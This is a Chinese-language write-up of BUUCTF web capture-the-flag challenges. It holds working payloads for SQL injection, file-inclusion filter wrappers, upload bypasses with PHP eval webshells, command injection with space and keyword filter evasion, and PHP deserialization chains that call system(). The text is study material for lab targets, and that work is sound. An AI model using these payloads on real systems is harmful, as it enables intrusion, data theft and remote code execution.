BUUCTF

[ACTF2020 新生赛]Include

image-20260210233840694

啥都没有,只有url里给了get传参,题目又叫include盲猜文件包含,用了filter伪协议得到了flag的base64编码

image-20260210233844987

解码得到flag

image-20260210233849183

Upload-Labs-Linux

01JS前端绕过

image-20260210233852485

根据提示是js绕过

方法一

先按要求上传.jpg是一句话木马,用bp拦截抓包

image-20260210233856635

修改后缀名,在原网站访问文件

image-20260211000851061

然后用蚁剑连接

image-20260210233900905

方法二

image-20260210233904759

f12+f1,直接在网页禁用js

然后可以直接传.php文件然后蚁剑连接

02MIME绕过

image-20260210233908181

image-20260210233914900

1
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

是MIME绕过,bp抓包将Content-Type改成image/jpeg,image/png,image/gif

image-20260210233919311

然后就跟01一样了蚁剑连接

03文件后缀名绕过(等价扩展名)

image-20260210233923912

禁止了.asp,.aspx,.php,.jsp后缀文件

上传jpg文件,bp抓包,在请求包中将后缀名改为.phtml绕过

image-20260210233929063

image-20260211000437180

然后蚁剑连接同上

[DASCTF 2025下]SecretPhotoGallery

image-20260210233933537

一个登录界面尝试万能密码

image-20260210233938842

报错:Warning: SQLite3::query(): Unable to prepare statement: 1, near “‘ AND password = ‘“: syntax error in /var/www/html/index.php on line 36

1
username=admin'order+by+2#&password=1

测试列数

报错:SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "#" in

1
username=admin'order+by+4--+&password=1

报错:SQLite3::query(): Unable to prepare statement: 1, 1st ORDER BY term out of range - should be between 1 and 3 in

说明是列数为3

1
username=admin'union+select+1,2,3--+&password=1

image-20260210233948477回显的是auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ndW5pb24gc2VsZWN0IDEsMiwzLS0gIiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzY1NDUyODMyfQ.QMECTceQzeTss9mP6EMyTiq1OO5suxsW8a7N75Csas8

这是JWT鉴权,可以利用在线网站解

网站:https://jwt.calebb.net/

感觉像一串编码

image-20260211000746495

虽然感觉不像但还是尝试了base64解码

返回值为{“typ”:”JWT”,”alg”:”HS256”}{“user”:”admin’union select 1,2,3– “,”role”:”guest”,”iat”:1765452832}

解析

“typ”:”JWT”:声明这个令牌的类型是JWT

“alg”:”HS256”:声明这个JWT的签名算法是HMAC SHA-256(这是一种对称加密算法,签名和验签需要使用同一个密钥

“user”:”admin’union select 1,2,3– “:这里嵌入了我输入的sql注入的payload

“role”:”guest”:当前身份是用户角色,当前是访客权限

username=admin’union+select+1,database(),3–+&password=1

报错:SQLite3::query(): Unable to prepare statement: 1, no such function: database in

解析:当前数据库SQLite3不支持database()函数

数据库类型 获取当前数据库/路径的函数
MySQL/MariaDB database()
SQLite3 sqlite_master表查询/pragme database_list
SQL Server DB_NAME()

username=admin’union+select+1,sqlite_master,3–+&password=1

报错:SQLite3::query(): Unable to prepare statement: 1, no such column: sqlite_master in

解析:sqlite_master是核心系统表,正常情况下所有 SQLite3 数据库都存在这个表

image-20260210234006147

登录成功,查看源码

image-20260210234010310

这些就是密钥

GALLERY2024SECRET

image-20260210234014064

校验成功,就可以伪造admin

image-20260210234018966

更改cookie

image-20260211000506786

[极客大挑战 2019]EasySQL1(单引号闭合,万能密码)

image-20260210234036948

打开是一个登陆界面就想到sql注入

万能密码尝试一下admin’or 1=’1’

报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘111’’ at line 1

在password注入点注入

111’order by 2–+

报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1

说明是单引号的闭合有问题,可以判断闭合方式可能是单引号

验证一下,去掉单引号,不报错只显示用户名密码错误

image-20260210234040841

再测试双引号

image-20260210234045341

image-20260210234048973

在password处注入万能密码

image-20260210234053048

依旧报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1

image-20260210234057657

回显成功

image-20260210234101682

[极客大挑战 2019]Havefun

image-20260210234106415

打开什么都没有,直接查看源码

image-20260210234110164

看到代码,那很简单了,get传参

image-20260210234113531

ACTF2020 新生赛]Exec

image-20260210234116884

页面是ping就想到了用管道符可以尝试执行命令

image-20260210234121646

有回显说明是可以的,那就很简单了

image-20260210234124714

管道分隔符的特点就是不管前面是什么后面的命令都会正常执行,所以直接写一个|然后加上要执行的命令就行了

image-20260210234128442

最后直接cat /flag就可以得到flag了

[GXYCTF2019]Ping Ping Ping

又是ping,感觉跟上题差不多

image-20260210234133288

看到flag.php文件

image-20260210234136964

这里一直无法得到flag感觉是过滤了空格

image-20260210234141171

这里看起来又过滤了flag

image-20260210234145117

666还有过滤

image-20260210234148760

刚刚忘记看另一个文件了。。。里面有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

过滤了很多比如空格转义符通配符问好引号括号flag还有bash,这里想到反引号没有被过滤

试了一下好像没法绕过flag,就想到了之前写过的内联执行

image-20260210234157921

emmmm没有反应

image-20260210234201672

payload

1
?ip=127.0.0.1;x=g;cat$IFS$1fla$x.php

把分隔符换成;就有反应了,哦好像是上面过滤了|这个管道分隔符

[极客大挑战 2019]LoveSQL

admin’or 1=1#万能密码

image-20260210234213158

看到url是get传参,尝试在uesername里面注入

?username=1’order by 3%23&password=abc

%23对#进行url编码,注入3时回显密码用户名错误

image-20260210234216644

注入4

image-20260210234220291

报错,那列就是3,然后测试注入点

?username=1’union select 1,2,3%23&password=abc

image-20260210234223754

?username=1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’geek’%23&password=abc

image-20260210234226855

?username=1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’%23&password=abc

image-20260210234229752

?username=1’union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=abc

image-20260210234233763

[极客大挑战 2019]Secret File

先信息收集

image-20260210234236547

访问这个网址

image-20260210234239462

image-20260210234242780

啥也没看到就结束了???

拦截抓包

image-20260210234246334

访问secr3t.php

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

看到了源码,是一道文件包含

1
2
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";

过滤掉了http,input,data伪协议

那就用过滤器

?file=php://filter/read=convert.base64-encode/resource=flag.php

之前被压力了这次纯手打的(记住了

image-20260210234250066

看到了一串编码

解码得到flag

image-20260210234253306

[极客大挑战 2019]Http

image-20260210234257537

查看源码,访问

image-20260210234300862

修改请求头

image-20260210234304035

修改UA头

image-20260210234306831

需本地登录

image-20260210234310965

但这里没有回显flag,就去bp抓包修改请求头了

image-20260210234314131

[极客大挑战 2019]PHP

说了备份源码就尝试了比较常见的www.zip

image-20260210234318652

image-20260210234322529

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

get传参,但最后把参数值反序列化了

看class源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Name{
private $username = 'admin';
private $password = '100';

}
$a = new Name();
echo urlencode(serialize($a));

?>

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

绕过__wakeup

payload

1
?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B}

[极客大挑战 2019]Upload

image-20260210234340204

文件上传要求传图片

bp抓包

image-20260210234348740

传一句话木马但标签<?被过滤了,就绕过

1
<script language="php">eval($_POST['cmd']);</script>

image-20260210234353561

这里应该有个文件头检查和后缀名检查

1
GIF89a<script language="php">eval($_POST['cmd']);</script>

image-20260210234431587

上传成功,蚁剑连接得到flag

[极客大挑战 2019]Knife

image-20260210234442219

看到一句话木马,直接蚁剑连接

image-20260210234446584

连接成功,就可以在根目录下找到flag

[ACTF2020 新生赛]Upload

把鼠标放在灯泡上发现它亮了看到了一个文件上传的地方

image-20260210234451495

上传一句话木马,绕过文件名后缀

image-20260210234455001

image-20260210234458126

[GXYCTF2019]BabyUpload

第一次直接上传图片失败了,ph后缀名全部被过滤了,就想到了配置文件

image-20260210234502262

这里有一个MIME绕过,然后再传一句话木马,蚁剑连接

image-20260210234505750

image-20260210234508656

[ACTF2020 新生赛]BackupFile

在kail里面扫描目录,得到源码文件

image-20260210234512456

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

代码分析

1
2
3
if(!is_numeric($key)) {
exit("Just num!");
}

如果key的值不全是数字会返回Just num!

1
2
3
f($key == $str) {
echo $flag;
}

对key的值和str的值进行弱比较

要满足上述两点才能返回flag的值,因为是弱比较,is_numeric可以绕过

?key=123

[极客大挑战 2019]BuyFlag

image-20260210234517001

image-20260210234520603

image-20260210234525663

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

需要上传money和password两个参数

1
2
3
4
5
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}

password正确的话要满足值等于404,并且传入的值不能只是数字,看起来很矛盾,但注意到这里是一个弱比较,那就可以绕过了

image-20260210234530354

但这里又显示money的值太长,我们要想办法绕过

第一种可以用数组绕过

image-20260210234533543

第二种可以用科学计数法绕过

image-20260210234537418

[MRCTF2020]你传你🐎呢

文件上传,先传了图片发现能够上传成功但是不能连蚁剑,就想到了配置文件

image-20260210234541192

先传配置文件

再传一句话木马

image-20260210234544794

蚁剑连接

image-20260210234548893

[RoarCTF 2019]Easy Calc

这里让测试,先想到了ssti模板注入,尝试了49,报错了,然后直接尝试了7*7,成功执行

image-20260210234552973

image-20260211000722107

在这里找到了calc.php文件访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

这里黑名单里有空格 制表符 回车符 换行符 引号 方括号 反斜杠

image-20260210234558088

页面报错, 但是出现这种画面,应该是被防火墙拦截了。

可以通过在num前面加空格绕过

image-20260210234602493

可以执行但是没有flag

image-20260210234606667

因为有waf一些正常的命令也无法执行,就想到了打无参rce

image-20260210234609673

这里看到返回值里没找到可能存在flag的文件

image-20260210234613138

传入参数47是/的ASSCII码值

得到f1aggg文件

? num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

image-20260210234616515

[SUCTF 2019]CheckIn

传文件,发现<?被过滤了

image-20260210234619948

标签绕过,但还是不行,就想到加文件头

image-20260210234623563

1
GIF89a<script language="php">eval($_POST['cmd']);</script>

image-20260210234628183

上传成功了但是图片格式

就想到可能是要传配置文件

image-20260210234642796

1
2
3
GIF89a

auto_append_file=1.jpg

这里要用幻术头绕过一下,上传成功了,再传一句话木马

image-20260210234650882

然后访问/uploads/331f5a2fec4659f9c8cd3a470a780b69/index.php

进行rce

image-20260210234655596

[MRCTF2020]Ez_bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

对gg和id的值进行比较,md5值相同但gg与id的值不同,passwd的值为1234567但不能只是数字

image-20260210234701909

[BJDCTF2020]Easy MD5

image-20260210234707871

查询界面,利用md5万能密码:ffifdyop

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

看到源码,md5弱比较

?a[]=1&b[]=2

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

image-20260210234714304

post传参md5弱比较

[护网杯 2018]easy_tornado

image-20260210234719179

flag.txt

image-20260210234723857

hints.txt

image-20260210234727208

要对 cookie_secret和md5加密后的(filename)再次进行md5加密

?filename=/fllllllllllllag&filehash=6023d8b20b0e0edd869292cbcbc845e5

image-20260210234730657

在url中输入什么就会回显什么,再看题目名字就想到是模板注入

image-20260210234738426

image-20260210234735447

?msg=

得到cookie_secret的值加上(filename)md5加密后的值再次加密

image-20260210234745906

?filename=/fllllllllllllag&filehash=b4e93a7e834694937375ae2505bc9290

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}
?>

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

strlen函数判断content的字符串长度,满足content<100即可绕过

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

ord函数返回S的ASSCII值s为字符串类型,S为16进制字符串数据类型

绕过方式%00转换为\00即可绕过

构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class FileHandler {

protected $op=2;
protected $filename='flag.php';
protected $content;

}

$a =urlencode(serialize(new FileHandler));
$b=str_replace('%00',"\\00",$a);
$b=str_replace('s','S',$b);

echo $b;
?>

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

解法二(突破protected访问修饰符权限)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php


class FileHandler {

protected $op=2;
protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
protected $content;

}

$a =serialize(new FileHandler);

echo $a;

O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}

将乱码修改传入url

?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;N;}

image-20260210234758038

base64解码

image-20260210234754031

[GYCTF2020]Blacklist

image-20260210234801989

是一个注入界面,想到了模板注入试了一下发现好像都不是,就想到了sql注入,先测试一下是不是字符注入

测试1’

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’’ at line 1

尝试了联合注入,好像不对,就尝试堆叠注入

测试1’;show databases;

image-20260210234805803

测试1’;show tables;

image-20260210234809635

看到存在FlagHere的表名,测试字段数

上面说的测试联合注入感觉不对其实是我第一次闭合符用错了,我一开始用的是–+,但这里要用– -

测试1’order by 3 – -

image-20260210234814012

存在报错

测试1’order by 2 – -

image-20260210234817816

没有报错,说明是有2个字段

想进行联合注入,发现select被过滤了

image-20260210234821651

测试1’;show columns from FlagHere;

image-20260210234826080

测试1’;show columns from flag;

image-20260210234831797

测试1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;

image-20260210234838843

[ZJCTF 2019]NiZhuanSiWei

用data和filter伪协议

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

构造链子,文件名为flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Flag{ //flag.php
public $file;

}

$a = new FLAG();
$a->file="flag.php";

echo serialize($a);
?>
1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[HCTF 2018]admin

image-20260210234843933

这个界面啥也没有,就看源码,看到了2个可访问的网址

image-20260210234854081

访问/login就有了这个登录界面

image-20260210234857195

解法一弱口令爆破

登录界面拦截抓包

image-20260210234900972

爆破成功密码是123

登录后就能得到flag

[BSidesCF 2020]Had a bad day

image-20260210234911980

尝试读取源码,可能存在文件包含,用了filter伪协议

1
?category=php://filter/read=convert.base64-encode/resource=index.php

image-20260210234917242

出现报错,读取失败

image-20260210234928491

尝试了一下发现只读index就能成功

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

解码找到有用的代码

strpos():用来查找字符串首次出现的位置

这里需要 有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

1
/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag

套一个index字符以符合条件

[极客大挑战 2019]BabySQL

万能密码测试admin or 1=’1’

image-20260210234947623

111’order by 2–+

image-20260210234951422

这个报错发现or by都被过滤了

双写绕过

1
111'oorrder bbyy 3#

image-20260210234954933

1
111'oorrder bbyy 4#

image-20260210234958169

报错,说明字段数为3

union select也被过滤,依旧双写绕过

1
111'ununionion seselectlect 1,2,database()#

image-20260210235001627

1
111'ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

image-20260210235022565

可看出information,from被过滤,依旧双写绕过

1
111'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

image-20260210235026112

1
111'ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

image-20260210235039103

[强网杯 2019]随便注

根据wp复现的

方法一
1
1'or 1=1

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1

测试是否存在sql注入

报错说明后端参数后面有可能存在其他sql语句

1
1' or 1=1#

#注释掉后面其他可能存在的sql语句

image-20260210235053897

1
1' union select 1,2#

return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

出现正则表达式,说明把select这些关键字过滤了

尝试堆叠注入

1
1';show databases;#

查看数据库名

image-20260210235104054

查看表名

1
1';show tables;#

image-20260210235116128

1
1';show columns from `1919810931114514`;#

注意,如果表名是纯数字,需要用反引号`包裹

image-20260210235136149

看到了flag,但是select被过滤,用预编译绕过

1
1';prepare hacker from concat('s','elect', ' * from `1919810931114514` ');execute hacker;#

prepare:定义一个预处理语句,名为hacker

‘s’,’elect’, ‘ * from 1919810931114514 ‘:拼接完整查询语句select from

execute hacker;:执行之前定义的预处理语句

image-20260211000652034

方法二

最后一步对select from 1919810931114514语句进行16进制编码

73656c6563742066726f6d20603139313938313039333131313435313460

1
1';prepare hacker 73656c6563742066726f6d20603139313938313039333131313435313460;execute hacker;#

image-20260210235204029

方法三

利用handle

1
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

[GXYCTF2019]BabySQli

在name处进行sql注入,看到一串编码,类似于base,先用base32再用base64

image-20260210235215063

image-20260210235219845

就看到注入点是name

1
name=admin'

image-20260210235223937

报错:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’admin’’’ at line 1

1
name=admin'union+select+1,2--+

image-20260210235235283

Error: The used SELECT statements have a different number of columns

1
name=admin'union+select+1,2,3--+

有回显说明字段数是3

image-20260210235242648

测试admin在哪一列

image-20260210235246490

image-20260210235250228

测试出在第二列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>

题目给源码

if(preg_match(“/(|)|=|or/“, $name)):过滤了or,=,\这些关键字

if(md5($password) == $arr[2]):密码被md5加密了

这里就是将传入的值进行md5加密然后存入password中就是第三个字段,使用查询语句时pw参数会被md5加密然后会与之前存入的值进行比较,如果一样则会回显flag

这里pw传入123,再对123进行md5加密,作为第三个字段传入得到flag

image-20260210235300837

[网鼎杯 2020 朱雀组]phpweb

抓包,看到post传参有两个参数,尝试MD5函数,发现可以执行,就是把p的参数值进行了MD5加密

说明可以func传入的函数,p转入的命令

image-20260210235305551

尝试rce

image-20260210235308916

可能被ban了

执行func=highlight_file&p=index.php可以看到源码

image-20260210235312270

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

是反序列化

1
2
3
4
5
6
7
8
9
10
11
<?php
class Test {
var $p = "ls";
var $func = "system";

}

$a = new Test();

echo serialize($a);
?>

image-20260210235320066

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20260210235324267

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20260210235341305

[极客大挑战 2019]HardSQL(报错注入)

1
admin'&123

image-20260211000629081

测试出闭合方式

尝试万能密码

image-20260210235358955

尝试了联合注入和堆叠注入,猜测可能有字符被过滤了

image-20260210235403039

尝试报错注入

1
username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

image-20260210235415129

查找数据库名

1
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

image-20260210235422164

查看字段

1
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1

image-20260210235428554

继续查询

1
username=1’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1  

image-20260210235458658

flag{e3269d3a-2904-4206-aa

1
username=1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

image-20260210235512538

4-4206-aa92-2a4a36d98a0a}

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

payload

1
?file=data://text/plain,I have a dream&text=php://filter/read=convert.base64-encode/resource=next.php

image-20260210235525917

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
